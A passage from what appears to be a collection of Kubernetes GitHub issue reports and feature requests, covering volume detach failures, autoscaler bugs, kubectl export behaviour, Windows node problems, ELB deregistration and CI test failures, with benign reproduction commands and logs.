builddate:\ 2017-08-03t18:01:01z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : 16.04.1 lts  xenial xerus \r - kernel  e.g.  uname -a  : 4.4.0-89-generic  112-ubuntu\r - install tools: n/a\r - others: n/a

\r   is this a bug report or feature request?  : feature\r \r  \r implement instanceshutdownbyproviderid to openstack. instanceshutdownbyproviderid returns true if the instance is in safe state to detach volumes. note: if instance is deleted we should not return error.

 \r   what happened  :\r \r we had a pod with persistent storage. we drained the node. the node vm was deleted. the pv was not attached to the node that the pod migrated too. the kube-controller-manager logs contained the following.\r \r    \r i0323 13:21:54.954344    6021 reconciler.go:231  attacherdetacher.detachvolume started for volume \ nil\   uniquename: \ kubernetes.io/vsphere-volume/      kubevols/kubernetes-dynamic-pvc-7ece5266-2e9a-11e8-b4d2-005056b91f7a.vmdk\   on node \ 21a524c0-7812-4f2f-a886-1e93b80e9881\  \r i0323 13:21:54.959794    6021 operation_generator.go:1165  verified volume is safe to detach for volume \ nil\   uniquename: \ kubernetes.io/vsphere-volume/      kubevols/kubernetes-dynamic-pvc-7ece5266-2e9a-11e8-b4d2-005056b91f7a.vmdk\   on node \ 21a524c0-7812-4f2f-a886-1e93b80e9881\  \r e0323 13:21:54.968942    6021 datacenter.go:78  unable to find vm by uuid. vm uuid: 21a524c0-7812-4f2f-a886-1e93b80e9881\r e0323 13:21:54.968960    6021 nodemanager.go:275  error \ no vm found\  node info for node \ 21a524c0-7812-4f2f-a886-1e93b80e9881\  not found\r e0323 13:21:54.968970    6021 vsphere.go:475  cannot find node \ 21a524c0-7812-4f2f-a886-1e93b80e9881\  in cache. node not found!!!\r e0323 13:21:54.968980    6021 attacher.go:260  error checking if volume  \       kubevols/kubernetes-dynamic-pvc-7ece5266-2e9a-11e8-b4d2-005056b91f7a.vmdk\   is already attached to current node  \ 21a524c0-7812-4f2f-a886-1e93b80e9881\  . will continue and try detach anyway. err=no vm found\r e0323 13:21:54.976573    6021 datacenter.go:78  unable to find vm by uuid. vm uuid: 21a524c0-7812-4f2f-a886-1e93b80e9881\r e0323 13:21:54.976589    6021 nodemanager.go:275  error \ no vm found\  node info for node \ 21a524c0-7812-4f2f-a886-1e93b80e9881\  not found\r e0323 13:21:54.976597    6021 vsphere.go:475  cannot find node \ 21a524c0-7812-4f2f-a886-1e93b80e9881\  in cache. node not found!!!\r e0323 13:21:54.976607    6021 attacher.go:274  error detaching volume \       kubevols/kubernetes-dynamic-pvc-7ece5266-2e9a-11e8-b4d2-005056b91f7a.vmdk\ : no vm found\r    \r \r   what you expected to happen  :\r \r the pv can be attached to the node it was migrated to.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   create a 2 node cluster on vsphere\r   deploy a pod with persistent storage attached\r   drain the node\r   delete the node vm immediately after draining\r \r   anything else we need to know?  :\r \r the issue seems to be in the call to getvsphereinstance. this will return an error if the node doesn't exist. precluding the logic on line 804-813 from being executed.\r \r https://github.com/kubernetes/kubernetes/blob/f01a2bf98249a4db383560443a59bed0c13575df/pkg/cloudprovider/providers/vsphere/vsphere.go l794-l819\r \r a restart of the kube-controller-manager resolved the issue.\r \r the following e2e test is not triggered in vsphere environments - https://github.com/kubernetes/kubernetes/blob/915798d229b7be076d8e53d6aa1573adabd470d2/test/e2e/storage/pd.go l319. which might expose the issue.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.5\r - cloud provider or hardware configuration: vsphere\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  :\r - install tools: cfcr\r - others: \r \r   \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r pvc protection controller only waits for the pod to be in terminated phase before proceeding.  this means volumes could still be in the process of unmounting but not finished unmounting.  in the case of pvs like nfs, if the nfs share is deleted before a client pod finishes unmounting it, then the pod deletion will hang forever along with a stale mount.\r \r   what you expected to happen  :\r pvc finalizer should not be removed until pods have fully unmounted the volumes  pod object is deleted .

what happened  : specifying the  averagevalue  for an  object  type metric in the hpa has no effect.\r \r   what you expected to happen  : the target scaled based on the number of replicas.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create an hpa with custom metric scaling on an object, for example an ingress like so:\r    yaml\r  - type: object\r     object:\r       metric:\r         name: requests-per-second|sample-custom-metrics-autoscaling-master-7\r       describedobject:\r         apiversion: extensions/v1beta1\r         kind: ingress\r         name: sample-custom-metrics-autoscaling\r       target:\r         type: averagevalue\r         averagevalue: 5\r    \r and describe the created hpa. the metrics status is always shown as  0  because the value displayed is the target value which is never specified.\r \r   anything else we need to know?  :\r the feature is describe in the  docs  https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale-walkthrough/ autoscaling-on-multiple-metrics-and-custom-metrics  but has not been implemented in the code  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/podautoscaler/horizontal.go l323 . only the  value  is used for calculating the replicas and the  averagevalue  is never used.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.4\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : coreos\r \r

ref.  19124   cc @davidopp @bgrant0607 @wojtek-t @fgrzadkowski @smarterclayton @quinton-hoole

if we can reproduce bug mentioned in https://github.com/kubernetes/kubernetes/issues/29324 via an e2e test, that would help us in tracking it down.\r \r @jingxu97 if you know the steps that can reproduce that bug with latest version let me know. i read the whole thread and the bug appears pretty old. the original reason why this bug surfaced seems to have been fixed long back but it is still happening so we would need steps to reproduce. \r \r cc @chrislovecnm @kubernetes/sig-storage-misc

 \r   what happened  :\r \r when running kubectl get secrets --export -o yaml, no metadata is stripped and no export logic is applied. the same is true for all api types.\r \r   what you expected to happen  :\r \r behavior should match getting individual secrets,  kubectl get secret foo --export -o yaml  and export logic should be applied even when listing resources.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r using a hack/local-up-cluster.sh cluster:\r \r    \r echo -n \ admin\  > ./username.txt\r echo -n \ 1f2d1e2e67df\  > ./password.txt\r kubectl create secret generic db-user-pass --from-file=./username.txt --from-file=./password.txt\r kubectl get secrets -o yaml\r    \r \r you will see various fields in the output such as creationtimestamp, namespace, uid, all of which should be filtered out when exporting an object.  which they are when doing an individual get \r \r   anything else we need to know?  :\r \r via @deads2k the export option may have been missed on listoptions, or we should be passing exportoptions everywhere we're passing listoptions.\r \r working on a pr to fix this issue.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r      \r   client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.2.709+6fdf0e4157c76e-dirty\ , gitcommit:\ 6fdf0e4157c76eeaf7619e8411ee7231305f7d87\ , gittreestate:\ dirty\ , builddate:\ 2017-07-24t13:51:15z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r   server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.2.709+6fdf0e4157c76e-dirty\ , gitcommit:\ 6fdf0e4157c76eeaf7619e8411ee7231305f7d87\ , gittreestate:\ dirty\ , builddate:\ 2017-07-24t13:51:15z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r      \r - cloud provider or hardware configuration  : n/a\r - os  e.g. from /etc/os-release :  fedora 26\r - kernel  e.g.  uname -a  : linux wrx 4.11.9-300.fc26.x86_64  1 smp wed jul 5 16:21:56 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r some daemonset pods were in a failed state  looking for an undefined secretkeyref .\r \r the pods would not  re start without manual intervention after correcting the yaml file.\r \r workaround was to delete the failed pods.\r \r   what you expected to happen  :\r \r failed pods would be  re started with the new settings.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a secret\r 2. create a daemonset yaml config\r 3. create an environment variable with  secretkeyref.name  set to the name of the secret\r 4. set  secretkeyref.key  to a key that does not exist in the secret\r 5. apply the daemonset config\r 6. the pods' statuses should say \ couldn't find key &lt;key&gt; in secret &lt;secret&gt;\ \r 7. correct the daemonset config and reapply\r \r   anything else we need to know?  :\r \r n/a\r \r   environment  :\r - cloud provider or hardware configuration  :\r gcp / gke\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7\ , gitcommit:\ 095136c3078ccf887b9034b7ce598a0a1faff769\ , gittreestate:\ clean\ , builddate:\ 2017-07-05t16:40:42z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r for windows docker containers, we receive consecutive add calls for the same container without del in between. \r \r   what you expected to happen  :\r we expect to receive add calls in add-del cycle instead of consecutive add calls.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy a kubernetes service.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.9\ , gitcommit:\ 19fe91923d584c30bd6db5c5a21e9f0d5f742de8\ , gittreestate:\ clean\ , builddate:\ 2017-10-19t16:55:06z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.9\ , gitcommit:\ 19fe91923d584c30bd6db5c5a21e9f0d5f742de8\ , gittreestate:\ clean\ , builddate:\ 2017-10-19t16:55:06z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r \r microsoft azure\r \r - os  e.g. from /etc/os-release :\r \r microsoft windows  version 10.0.16299.19 \r \r - kernel  e.g.  uname -a  : \r \r n/a\r \r - install tools:\r \r n/a\r \r - others:\r \r n/a

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r creating pods containing volumes with projected secret keys to nested paths fails on kubernetes using windows nodes, they get stuck in the   containercreating   state. additionally, this causes the kubelet service on the windows node to fully utilize a cpu indefinitely  even after the pod was deleted . creating multiple pods will eventually cause the node to be inaccessible.\r \r this issue does not occur with simple paths.\r \r   what you expected to happen  :\r \r the pod should end up in   running   /   completed   state.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r     echo \ apiversion: v1\r     kind: secret\r     metadata:\r       name: my-special-secret\r     type: opaque\r     data:\r       data-1: agvsbg8gdghlcmuh\r     \  > my-secret.yaml\r \r \r     echo \ apiversion: v1\r     kind: pod\r     metadata:\r       name: test-projected-volume\r     spec:\r       containers:\r       - name: test-projected-volume\r         image: atuvenie/mounttest:1.0\r         args:  \ --file_content=/projected-volume/new/path/data-1\  \r         volumemounts:\r         - name: all-in-one\r           mountpath: \ /projected-volume\ \r           readonly: true\r       volumes:\r       - name: all-in-one\r         projected:\r           sources:\r           - secret:\r               name: my-special-secret\r               items:\r                 - key: \ data-1\ \r                   path: \ new/path/data-1\ \r     \  > test-projected-volume-bad.yaml\r \r \r     kubectl create -f ./my-secret.yaml\r     kubectl create -f ./test-projected-volume-bad.yaml\r     kubectl get --watch pod test-projected-volume\r \r replacing   new/path/data-1   with   new-path-data-1   will result in creating a pod in   running   /   completed   state.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version:\r   client version: v1.9.3\r   server version: v1.8.4\r   windows kubelet version: v1.8.4-20+75463ace30b8ff\r - cloud provider or hardware configuration: azure container service\r - os  e.g. from /etc/os-release : microsoft windows server datacenter 10.0.16299 n/a build 16299\r

file:  test/e2e/scalability/density.go\r \r when running e2e performance test, the density test output scheduling latency as follows:\r    \r may  8 00:55:23.397: info: printing summary: schedulinglatency\r may  8 00:55:23.397: info: schedulinglatency json\r {\r   \ scheduling\ : {\r     \ perc50\ : 0,\r     \ perc90\ : 0,\r     \ perc99\ : 0,\r     \ perc100\ : 0\r   },\r   \ binding\ : {\r     \ perc50\ : 0,\r     \ perc90\ : 0,\r     \ perc99\ : 0,\r     \ perc100\ : 0\r   },\r   \ total\ : {\r     \ perc50\ : 0,\r     \ perc90\ : 0,\r     \ perc99\ : 0,\r     \ perc100\ : 0\r   }\r }\r    \r \r why are these values zero? is it because of not reseting scheduler metrics? \r the codes:\r    \r \t\t// verify scheduler metrics.\r \t\t// todo: reset metrics at the beginning of the test.\r \t\t// we should do something similar to how we do it for apiserver.\r \t\tlatency, err := framework.verifyschedulerlatency c \r \t\tframework.expectnoerror err \r \t\tif err == nil {\r \t\t\tsummaries = append summaries, latency \r \t\t}\r \t\tsummaries = append summaries, testphasedurations \r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i've noticed that the  resourceversion of a resource will update even if only the  status  section has changed. i get that technically the restful resource _has_ changed and this is needed to trigger events. however this is problematic when you need to update a resource during a period of frequent status changes, b/c the  resourceversion  in put requests must be in sync with the api server's version. the status could be changing so quickly that the roundtrip required for a get then put will almost always be too slow.  a simple way to reproduce this: 1. kill some of the kubelets in the cluster. 2. create an rc with a simple pod template & set the count to a sufficiently high number. 3. wait a little, then attempt to update the replication controller.  the rc will constantly try to fulfill its desired count. most of the pods will fail to run b/c they get scheduled to dead kubelets. this causes the rc's  status.count  to flap constantly, in turn increasing the  resourceversion  every time. this makes it nearly impossible for the operator  or other components  to reliably update the rc b/c as soon as the resource is retrieved it's outdated very shortly after.  related to:  2726

i'd like to use an ingress resource to create an http load balancer in gke but i'd like to do port based routing. something like:      yaml apiversion: extensions/v1beta1 kind: ingress metadata:   name: my-ingress spec:   rules:     - http:       ports:       - port: 80         backend:           servicename: service           serviceport: 80       - port: 443         backend:           servicename: service           serviceport: 80       - port: 81         backend:           servicename: service           serviceport: 81       - port: 4433         backend:           servicename: service           serviceport: 81      the reason i want to use an ingress and not just a service of type loadbalancer is that i want to be ready for kubernetes 1.2 that will have https support for the http load balancer.

see unresolved comments in  25991 for details.\r \r in particular: \r - possibly return errnotfound rather than empty slice from getrrsets  \r

is this a request for help?  : no.    what keywords did you search in kubernetes issues before filing this one?  : elb, elastic. https://github.com/kubernetes/kubernetes/issues/26362 and https://github.com/kubernetes/kubernetes/issues/11002 may be related, but are not identical.  ---    is this a bug report or feature request?  : bug report.    kubernetes version    use  kubectl version  : 1.4.0    environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : debian jessie -   kernel    e.g.  uname -a  :  linux ip-172-20-63-176 3.16.0-4-amd64  1 smp debian 3.16.7-ckt25-2  2016-04-08  x86_64 gnu/linux  -   install tools  : kubernetes/kops@5871b24b320b1c336c5d5096a456d1f94c82c2e7 -   others  :   kops create cluster $name --node-size m3.large --zones us-east-1a     what happened  :  on a single-controller 1.4.0 cluster launched with kops, requests to an existing service's elb sometimes fail for a short duration after the termination of a controller instance and the creation of a replacement instance. in situations where requests are observed to fail, the newly-launched controller instance contains entries similar to the following in  /var/log/kube-controller-manager.log :      i1006 18:28:35.971327       5 aws_loadbalancer.go:419  instances removed from load-balancer a0bb431bd8bef11e692940a24a820d1a i1006 18:30:15.130235       5 aws_loadbalancer.go:408  instances added to load-balancer a0bb431bd8bef11e692940a24a820d1a      all requests failed to this service's elb in the time between these two log events. cloudtrail records an  deregisterinstancesfromloadbalancer  request being made at the time of the first entry that removes all of the running minions from this elb, and a corresponding  registerinstanceswithloadbalancer  call that adds them back at the same time as the second entry.    what you expected to happen  :  i expected the failure of a controller instance in a  kops  launched cluster to not negatively impact the ability to access a service through it's configured elb, as a replacement instance is started with the same  etcd  state as existed on the previous controller instance.    how to reproduce it    as minimally and precisely as possible :  i'm able to reproduce this failure about 30% of the time by following this procedure: - create a kops cluster with the version and arguments provided above. - create the following resources:      yaml apiversion: extensions/v1beta1 kind: deployment metadata:   name: http-echo spec:   selector:     matchlabels:       app: http-echo   replicas: 2   template:     metadata:       labels:         app: http-echo     spec:       containers:       - name: http-echo         image: kennship/http-echo         imagepullpolicy: always         ports:         - name: http           containerport: 3000  --- apiversion: v1 kind: service metadata:   name: http-echo   labels:     app: http-echo spec:   type: loadbalancer   selector:     app: http-echo   ports:   - port: 80     protocol: tcp     targetport: http     - wait until an elb is created:  kubectl get service http-echo -o jsonpath=\ {.status.loadbalancer.ingress 0 .hostname}\   - confirm that a request to this elb returns a successful result. - terminate the running controller instance. - send sustained traffic to the service's elb. - observe that requests to this service fail after the newly-launched controller instance's controller-manager process deregisters minion instances from the service's elb. - observe that requests to this service succeed a short while later as the controller manager re-registers the same instances.    anything else do we need to know  :  i'm able to re-run the simulation that triggers this situation and gather additional information anytime if there's anything in particular that would be useful.  /cc @justinsb, who spoke briefly with me about this in  sig-aws. thanks again!

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-reboot-release-1.5/684/  multiple broken tests:  failed:  k8s.io  reboot  disruptive   feature:reboot  each node by dropping all inbound packets for a while and ensure they function afterwards {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 dec  2 10:57:43.401: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc420e2e768 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  33405   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by dropping all outbound packets for a while and ensure they function afterwards {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 dec  2 11:03:32.097: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc42078fb68 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  33703  36230   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by ordering unclean reboot and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:99 dec  2 10:40:23.271: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:159     issues about this test specifically:  33882  35316   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by triggering kernel panic and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 dec  2 10:50:46.468: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc420e50768 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  34123  35398

for context see  42061.  one reason this can be important is that locking semantics are not the same between etcd versions.  @wojtek-t @fgrzadkowski

hi guys,\r \r this is a simple question, that for some reason, i was unable to find an answer for in the internet.\r \r   what is the correct pronunciation of _kubernetes_ in english?  \r \r i think it would be nice to add it in your  readme.md  https://github.com/kubernetes/kubernetes/blob/master/readme.md  file too.\r \r thank you!

as the title said, we need update touse server side reaper.\r xref: https://github.com/kubernetes/kubernetes/pull/46425 discussion_r123196514

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r   created a multi zone gke cluster\r    \r gcloud alpha container clusters create app-cluster \\\r     --project=yyy \\\r     --zone=europe-west1-d \\\r     --additional-zones=europe-west1-c \\\r     --network=network-nnn \\\r     --subnetwork=subnetwork-nnn \\\r     --tags=subnetwork-nnn \\\r     --service-account=service-account=node-service-account@projectname.iam.gserviceaccount.com \\\r     --scopes=https://www.googleapis.com/auth/compute,https://www.googleapis.com/auth/devstorage.read_only,https://www.googleapis.com/auth/logging.write \\\r     --machine-type=n1-standard-2 \\\r     --enable-autoscaling \\\r     --min-nodes=1 \\\r     --max-nodes=10 \\\r     --enable-autorepair\r    \r \r   created a new node pool:\r    \r gcloud alpha container node-pools create pool-2 \\\r     --cluster=xxx \\\r     --project=yyy \\\r     --zone=europe-west1-d \\\r     --tags=subnetwork-nnn \\\r     --service-account=node-service-account@projectname.iam.gserviceaccount.com \\\r     --scopes=https://www.googleapis.com/auth/compute,https://www.googleapis.com/auth/devstorage.read_only,https://www.googleapis.com/auth/logging.write \\\r     --machine-type=n1-standard-2 \\\r     --enable-autoscaling \\\r     --min-nodes=1 \\\r     --max-nodes=10 \\\r     --enable-autorepair\r    \r please note that  gcloud alpha node-pools create  does not have the  --additional-zones  parameter available  as opposed to  gcloud alpha clusters create  \r \r   deleted the old  default  node pool\r \r after a while, my system looks like this:\r    \r xxx-196208528-cblt6                   1/1       running   0          18h\r xxx-196208528-glccx                   1/1       running   0          3m\r    \r \r logs from the cluster:\r    \r new size: 2; reason: current number of replicas below spec.minreplicas \r   ... \r   involvedobject: {\r    apiversion:  \ autoscaling/v2alpha1\      \r    kind:  \ horizontalpodautoscaler\      \r    name:  \ xxx-horizpodautoscaler\      \r    namespace:  \ default\      \r    resourceversion:  \ -\      \r    uid:  \ -\      \r   }\r   ... \r scaled up replica set xxx-deploy-2642786774 to 2 \r   ... \r   involvedobject: {\r    apiversion:  \ extensions\      \r    kind:  \ deployment\      \r    name:  \ xxx-deploy\      \r    namespace:  \ default\      \r    resourceversion:  \ -\      \r    uid:  \ -\      \r   }\r   ... \r new size: 1; reason: all metrics below target\r   ... \r involvedobject: {\r    apiversion:  \ autoscaling/v2alpha1\      \r    kind:  \ horizontalpodautoscaler\      \r    name:  \ xxx-horizpodautoscaler\      \r    namespace:  \ default\      \r    resourceversion:  \ -\      \r    uid:  \ -\      \r   }\r   ... \r scaled down replica set xxx-deploy-2642786774 to 1\r   ... \r involvedobject: {\r    apiversion:  \ extensions\      \r    kind:  \ deployment\      \r    name:  \ xxx-deploy\      \r    namespace:  \ default\      \r    resourceversion:  \ -\      \r    uid:  \ -\      \r   }\r   ... \r    \r \r the hpa spec for that deployment looks like this\r    \r apiversion: autoscaling/v1\r kind: horizontalpodautoscaler\r metadata:\r   name: xxx-horizpodautoscaler\r spec:\r   scaletargetref:\r     kind: deployment\r     name: xxx-deploy\r     apiversion: extensions/v1beta1\r   minreplicas: 2\r   maxreplicas: 5\r    \r \r   what you expected to happen  :\r the pods to stay scheduled in the primary zone  not restarted every 5 minutes \r \r   how to reproduce it  as minimally and precisely as possible   :\r steps above are what i followed to end up here.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  :\r gke\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r gcloud\r - others:\r

feature: local storage request/limit\r from v1.7, we add the feature to allow users set local storage limit for pod’s emptydir and container’s writable layer  overlay  to better provide storage capacity isolation.\r \r for all type of resources in kubernetes, user can set value for request and/or limit. the relationship between request and limit is defined as follows \r \r - a besteffort quality of service is provided when a request and limit are not specified.\r - a burstable quality of service is provided when a request is specified that is less than an optionally specified limit.\r - a guaranteed quality of service is provided when a limit is specified that is equal to an optionally specified request.\r \r the quality of service has an impact on what happens if the resource is compressible or not. for incompressible resource such as memory,  a besteffort container will be able to consume as much resource as is available on the node. in addition, a besteffort container has the greatest chance of being killed if there is an out of resource event on the node. a burstable container will be scheduled on the node to get the amount of resource requested, but it may consume more. if there is an out of resource event on the node, containers of this type will be killed after besteffort containers when attempting to reclaim resource. a guaranteed container will get the amount of resource requested, but no more. in the event of a system out of resource event, it will only be killed if there are no more besteffort or burstable containers on the system.\r \r for burstable container setting, one problem is that resource could be over-committed. the scheduler will tend to pack more pods to the nodes. when disk is under pressure, the eviction manager will try to reclaim storage resource and evict pods to free up resource if reclaim is not enough. storage is also an incompressible resource like memory. however, unlike memory, reclaim storage resource and free disk space take much longer time and incur more overhead. so the system would be much more stable if it can allocate enough resources for the workload at the first place to avoid reclaim. \r \r    proposal: request/limit validation\r one proposal is to enforce that request is always equal to limit for local storage. user will set a reasonable value for storage request/limit so that pod gets enough disk space.  in this way, the system will schedule the pods to nodes where there is sufficient resource and also make sure pods will not use more than requested to avoid over commitment. the reason behind this is that storage is relatively cheap. one future vertical pod autoscaling can help reduce wastage. https://github.com/kgrygiel/community/blob/master/contributors/design-proposals/vertical-pod-autoscaler.md\r \r \r the downside of this proposal is that for some very burstable workload, it might be difficult to set it a good value for request and limit. if the value is too big, it will waste resource. otherwise, if the value is small, the pod might get evicted very easily. \r \r open this issue for further discussion on how we should validate the local storage request/limit. feedback is appreciated.  \r

api_changes.md  https://github.com/kubernetes/community/blob/master/contributors/devel/api_changes.md  says  \ before persisting the object to storage, clear disabled alpha fields\ . there is https://github.com/kubernetes/kubernetes/pull/50924 that actually implements it but there are some discussions about it.\r \r this issues is a reminder that  pod.containers i .volumemounts j .mountpropagation  introduced by  46444 needs to be cleared too when the discussion in  50924 settles down.\r \r /assign @jsafrane

failure cluster  ea6679417165f10786e6  https://go.k8s.io/triage ea6679417165f10786e6        error text:     error during ./hack/e2e-internal/e2e-up.sh: exit status 2           failure cluster statistics: 1 tests failed,    61 jobs failed,    262 builds failed. failure stats cover 1 day time range '13 sep 2017 18:14 utc' to '14 sep 2017 18:14 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | up | 61 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-ha-master | 10 |  14 sep 2017 18:11 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-ha-master/9346  | | ci-kubernetes-e2e-gce-ubuntustable1-k8sstable1-slow | 10 |  14 sep 2017 17:08 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-ubuntustable1-k8sstable1-slow/1065  | | ci-kubernetes-e2e-gce-cosbeta-k8sstable3-serial | 9 |  14 sep 2017 17:57 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cosbeta-k8sstable3-serial/399  |   current status  https://go.k8s.io/triage ea6679417165f10786e6

happy new year! now when i run make i get a diff like this in every zz_generated file:\r    \r diff --git a/cmd/kubeadm/app/apis/kubeadm/v1alpha1/zz_generated.conversion.go b/cmd/kubeadm/app/apis/kubeadm/v1alpha1/zz_generated.conversion.go\r index 5cebdd5d5b..0d7f685c3b 100644\r --- a/cmd/kubeadm/app/apis/kubeadm/v1alpha1/zz_generated.conversion.go\r +++ b/cmd/kubeadm/app/apis/kubeadm/v1alpha1/zz_generated.conversion.go\r @@ -1,7 +1,7 @@\r  // +build !ignore_autogenerated\r  \r  / \r -copyright 2017 the kubernetes authors.\r +copyright 2018 the kubernetes authors.\r    \r \r not sure what a smart solution is, but we could merge something like  57729 in the meantime.

the pv projection mechanism introduced in 1.10 does not protect existing pvs in cluster. after upgrade to 1.10 users can still delete bound pvs from cluster.\r \r cc @nickrenren @pospispa \r \r 

buffered audit backend was extracted from webhook audit backend initially, so its behavior is better suited for this case. in case of log audit backend, some parameters don't make sense and the default configuration should be adjusted. there are two possible approaches to make buffered backend work better with log backend:\r \r - started by @tallclair in https://github.com/kubernetes/kubernetes/pull/61217, adding an option to send batches to the delegate backend synchronously, to avoid write contention\r - started by @hzxuzhonghu in https://github.com/kubernetes/kubernetes/pull/61027, adding a limit on the number of goroutines\r \r the first approach seems more preferable to fix the original issue, however, the latter setting can be then used in other backends also, to limit the memory consumption. maybe both should be implemented\r \r /assign @loburm \r /cc @tallclair @sttts @hzxuzhonghu @caoshufeng

